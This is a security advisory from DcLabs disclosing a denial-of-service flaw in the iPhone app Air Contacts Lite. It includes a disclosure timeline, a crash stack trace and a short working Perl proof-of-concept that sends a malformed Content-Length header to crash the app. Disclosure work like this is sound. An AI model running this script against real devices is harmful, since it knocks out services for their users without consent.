[Discussion] - DcLabs Security Research Group advises about the following vulnerability(ies): [Software] - Air Contacts Lite (By i-NOVATiON GmbH) [Vendor Product Description] - Sharing contacts can't be easier. Wireless access to your iPhone contacts from your Mac or PC. This is the Lite Version of Air Contacts. If you want more features please upgrade to the normal version. Source: - http://itunes.apple.com/us/app/air-contacts-lite/id3084752 [Advisory Timeline] - 01/26/2011 -> Advisory sent to vendor. (No response) - 02/15/2011 -> Advisory sent again to vendor. (No response) - 03/04/2011 -> Advisory published. [Impact] - Low [Affected Version] - Air Contacts Lite (Free Version) - Paid version may also be vulnerable - Prior versions may also be vulnerable [Bug Description and Proof of Concept] - While sending crafted HTTP packets the program does not treat invalid requests entering in a NSException crashing the program. <NSException> Tue Jan 25 21:42:02 Program Name[23594] <Error>: *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '*** -[NSConcreteData initWithBytes:length:copy:freeWhenDone:bytesAreVM:]: absurd length: 4294967295, maximum size: 2147483648 bytes' *** Call stack at first throw: ( 0 CoreFoundation 0x3048e987 __exceptionPreprocess + 114 1 libobjc.A.dylib 0x33a0849d objc_exception_throw + 24 2 CoreFoundation 0x3048e7c9 +[NSException raise:format:arguments:] + 68 3 CoreFoundation 0x3048e803 +[NSException raise:format:] + 34 4 Foundation 0x302d2a51 -[NSConcreteData initWithBytes:length:copy:freeWhenDone:bytesAreVM:] + 108 5 Foundation 0x302df845 -[NSData(NSData) initWithBytes:length:] + 36 6 Foundation 0x302f224f +[NSData(NSData) dataWithBytes:length:] + 34 7 Foundation 0x303216ab _performFileHandleSource + 722 8 CoreFoundation 0x304447dd__CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ + 12 9 CoreFoundation 0x304165b7 __CFRunLoopDoSources0 + 382 10 CoreFoundation 0x30415e5b __CFRunLoopRun + 230 11 CoreFoundation 0x30415c87 CFRunLoopRunSpecific + 230 12 CoreFoundation 0x30415b8f CFRunLoopRunInMode + 58 13 GraphicsServices 0x31eec4ab GSEventRunModal + 114 14 GraphicsServices 0x31eec557 GSEventRun + 62 15 UIKit 0x313cf329 -[UIApplication _run] + 412 16 UIKit 0x313cce93 UIApplicationMain + 670 17 Program Name 0x00002f07 main + 42 18 Program Name 0x00002ea4 start + 52 ) <END NSException> [PoC] # Air contacts Lite (Denial of Service) #!/usr/bin/perl use IO::Socket; if (@ARGV < 1) { usage(); } $ip = $ARGV[0]; $port = $ARGV[1]; print "[+] Sending request...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n"; print $socket "GET http://www.dclabs.com.br HTTP/1.1\r\n"; print $socket "Host: http://www.dclabs.com.br\r\n"; print $socket "Content-Length: 0\x78\x41\x71\x69\r\n\r\n"; sleep(2); close($socket); print "[+] Done!\n"; sub usage() { print "[-] DcLabs - Air Contacts Lite (DoS)\n\n"; print "[-] Usage: <". $0 ."> <host> <port>\n"; print "[-] Example: ". $0 ." 127.0.0.1 80\n"; exit; } All flaws described here were discovered and researched by: Rodrigo Escobar aka ipax. DcLabs Security Research Group ipax (at) dclabs <dot> com <dot> br [Patch(s) / Workaround] No patch(s) / workaround(s) were provided. [Greetz] DcLabs Security Research Group. -- Rodrigo Escobar (ipax) Pentester/Researcher Security Team @ DcLabs http://www.dclabs.com.br